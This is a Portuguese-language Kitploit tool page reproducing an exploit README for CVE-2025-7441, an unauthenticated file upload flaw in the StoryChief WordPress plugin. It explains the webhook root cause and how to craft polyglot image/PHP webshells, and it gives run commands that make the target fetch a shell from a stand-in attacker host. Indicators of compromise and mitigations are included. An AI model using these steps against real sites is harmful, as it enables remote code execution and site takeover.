Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-7441 — StoryChief <= 1.0.42 - Upload Arbitrário de Arquivos sem Autenticação | Kitploit
Ferramentas/GitHubGitHub/nxploited/cve-2025-7441
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed Teaming
GitHubnxploited/cve-2025-7441

CVE-2025-7441

StoryChief <= 1.0.42 - Upload Arbitrário de Arquivos sem Autenticação

Ver Repositório
1há 11 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-7441

StoryChief <= 1.0.42 - Upload Arbitrário de Arquivo Não Autenticado

🚨 StoryChief <= 1.0.42 — Upload Arbitrário de Arquivo Não Autenticado (CVE-2025-7441)

ℹ️ Resumo

O plugin StoryChief (WordPress) versões até 1.0.42, inclusive, expõe uma vulnerabilidade crítica de upload arbitrário de arquivo não autenticado por meio do endpoint REST /wp-json/storychief/webhook. Um atacante pode fazer com que o plugin busque e persista um recurso remoto controlado pelo atacante (por exemplo, um webshell) no diretório de uploads do site, permitindo execução remota de código em muitas implantações padrão do WordPress.

  • CVE: CVE-2025-7441
  • CVSS: 9.8 (Crítico)

💥 Impacto

  • Upload remoto não autenticado de arquivo para wp-content/uploads/YYYY/MM/.
  • Potencial de execução remota de código quando o arquivo enviado é executável (ex.: PHP).
  • Comprometimento total do site é possível quando o WordPress está configurado para executar o PHP enviado sob a raiz do documento.

🧩 Causa Raiz da Vulnerabilidade

O plugin aceita um payload JSON de entrada (evento de publicação) que contém um campo featured_image -> data -> sizes -> full apontando para uma URL arbitrária. O StoryChief não realiza validação suficiente do tipo/conteúdo do arquivo nem restringe a origem da URL, permitindo que o plugin busque o recurso remoto e o salve no diretório de uploads do site. Não há validação suficiente para impedir o armazenamento de arquivos que contenham código executável.


🛠️ Script de exploit — o que ele faz (mapeamento para a vulnerabilidade)

Esta seção explica o script de exploit (fornecido separadamente) em alto nível e mapeia cada comportamento importante para a vulnerabilidade subjacente.

  • Análise de argumentos de CLI — URL alvo (-u/--url), URL do shell remoto (-shell), chave HMAC opcional, cabeçalhos, flags de proxy/timeout/retry, opções de debug e apenas impressão.
  • Normalização do alvo — adiciona /wp-json/storychief/webhook quando uma raiz de site é fornecida.
  • Validação da URL do shell — verifica se a URL remota está acessível (HEAD/GET ou curl).
  • Extração do nome do arquivo — usa o basename da URL remota para inferir o nome final no diretório de uploads.
  • Construção do payload — insere a URL controlada pelo atacante em data.featured_image.data.sizes.full para forçar o plugin a buscar e armazenar o arquivo.
  • Assinatura HMAC (opcional) — calcula meta.mac (HMAC-SHA256) usando uma chave hex opcional; alguns servidores podem ignorar ou exigir isso.
  • Entrega — usa requests com retries/backoff ou fallback para curl, suporta cabeçalhos personalizados, proxies e --no-verify.
  • Tratamento da resposta — analisa respostas JSON em busca das chaves permalink/id para detectar sucesso; caso contrário, reporta falha.
  • Saída — imprime o caminho esperado de uploads: wp-content/uploads/YYYY/MM/<filename> em caso de sucesso.

🖼️ Requisitos do arquivo shell (crítico)

Ao usar um arquivo remoto .php (por exemplo: https://attacker.example/shell.php), o arquivo deve incluir um cabeçalho de imagem válido (magic bytes) para que seja tratado/aceito como imagem pelo plugin ou pelo código de processamento de imagem. Pontos-chave:

  • Use uma abordagem poliglota: o arquivo deve começar com magic bytes de imagem válidos (ex.: JPEG, PNG ou GIF) para que verificações ingênuas e manipuladores de imagem o aceitem, enquanto também contém o payload PHP em uma seção que permanece no disco exatamente como está.
  • Magic bytes de imagem comuns:
    • JPEG: 0xFF 0xD8 0xFF
    • PNG: 0x89 0x50 0x4E 0x47
    • GIF: ASCII "GIF89a" ou "GIF87a"
  • Não confie apenas no nome/extensão do arquivo. Muitos plugins inspecionam o conteúdo do arquivo ou usam bibliotecas (GD, ImageMagick) que verificam a integridade da imagem.
  • Depende do ambiente: alguns servidores validarão ou reencodarão imagens, o que pode remover o código injetado. Teste primeiro em um laboratório autorizado.
  • Lembrete ético: NÃO publique código de webshell funcional aqui. Crie e teste esses arquivos apenas em ambientes autorizados.

▶️ Como executar (exemplos)

Substitua os placeholders por alvos autorizados. Todos os exemplos abaixo usam uma URL de shell remoto .php.

  • Exemplo básico:
root@kitploit:~
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php
  • Com caminho de webhook explícito e debug:
root@kitploit:~
python3 CVE-2025-7441.py -u https://target.example/wp-json/storychief/webhook -shell https://attacker.example/shell.php --debug
  • Usar curl em vez de requests:
root@kitploit:~
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php --use-curl
  • Apenas imprimir o payload (não enviar):
root@kitploit:~
python3 CVE-2025-7441.py -u https://target.example -shell https://attacker.example/shell.php --print-only

Flags importantes:

  • --no-verify: ignorar a verificação TLS (usar com cautela).
  • --proxy: rotear as requisições por um proxy.
  • --header "Key: Value": adicionar cabeçalhos personalizados.

📤 Saídas esperadas

  • Execução bem-sucedida:
    • Enviado: wp-content/uploads/2025/10/shell.php
  • Exemplos de debug:
    • [DEBUG] shell HEAD status: 200
    • [DEBUG] post status: 200
    • [DEBUG] curl cmd: curl -s -X POST https://target... -H Content-Type: application/json -d '{"meta":...}'
  • Mensagens de falha:
    • "[-] Error: shell URL is not reachable (not HTTP 200)"
    • "[-] Error: request failed"
    • "[-] Error: upload failed or endpoint returned non-JSON/HTML"

🔎 Detecção e Indicadores de Comprometimento (IoC)

  • Requisições POST inesperadas para /wp-json/storychief/webhook a partir de IPs desconhecidos.
  • Novos arquivos em wp-content/uploads/// com extensões .php ou extensões de imagem contendo código embutido.
  • Logs do servidor web mostrando GETs de saída para domínios controlados pelo atacante, seguidos de acesso aos arquivos enviados.
  • Arquivos de imagem suspeitos com conteúdo não relacionado a imagem anexado ou embutido.

🛡️ Mitigação e Remediação

Curto prazo:

  • Atualize o StoryChief para uma versão corrigida imediatamente quando disponível.
  • Bloqueie ou restrinja /wp-json/storychief/webhook via WAF ou regras do servidor.
  • Restrinja buscas de saída do servidor ou o egresso para domínios não confiáveis.

Orientações para desenvolvedores:

  • Valide os tipos e conteúdos de arquivo após qualquer busca remota; verifique imagens usando parsers seguros e rejeite arquivos inválidos.
  • Exija autenticação para webhooks que causam downloads ou criação de arquivos no lado do servidor.
  • Garanta que a verificação de assinatura/HMAC seja implementada e aplicada.
  • Armazene o conteúdo enviado fora da raiz do documento (webroot) ou desative a execução de arquivos enviados em wp-content/uploads (regras do servidor web).

⚠️ Limitações e Advertências

  • O sucesso do exploit depende da configuração do servidor, das bibliotecas de processamento de imagem e das políticas de execução do servidor web.
  • Servidores que reprocessam ou reencodam imagens podem remover os payloads injetados.
  • Se o plugin verificar assinaturas, fornecer uma mac incorreta pode causar rejeição.

🤝 Uso Responsável

Este documento é para defensores e testadores autorizados. NÃO use estas técnicas contra sistemas que você não possui ou para os quais não tem permissão explícita para testar. A exploração não autorizada é ilegal e antiética.

Se você estiver reportando o problema a um fornecedor ou proprietário do site, inclua detalhes de reprodução, etapas seguras de remediação e correções sugeridas.


📚 Referências e Créditos

  • Relatório e script de exploit por: Nxploited (Khaled Alenazi) — nome do script: CVE-2025-7441.py (fornecido separadamente)
  • CVE: CVE-2025-7441
  • CVSS: 9.8
Baixar ferramenta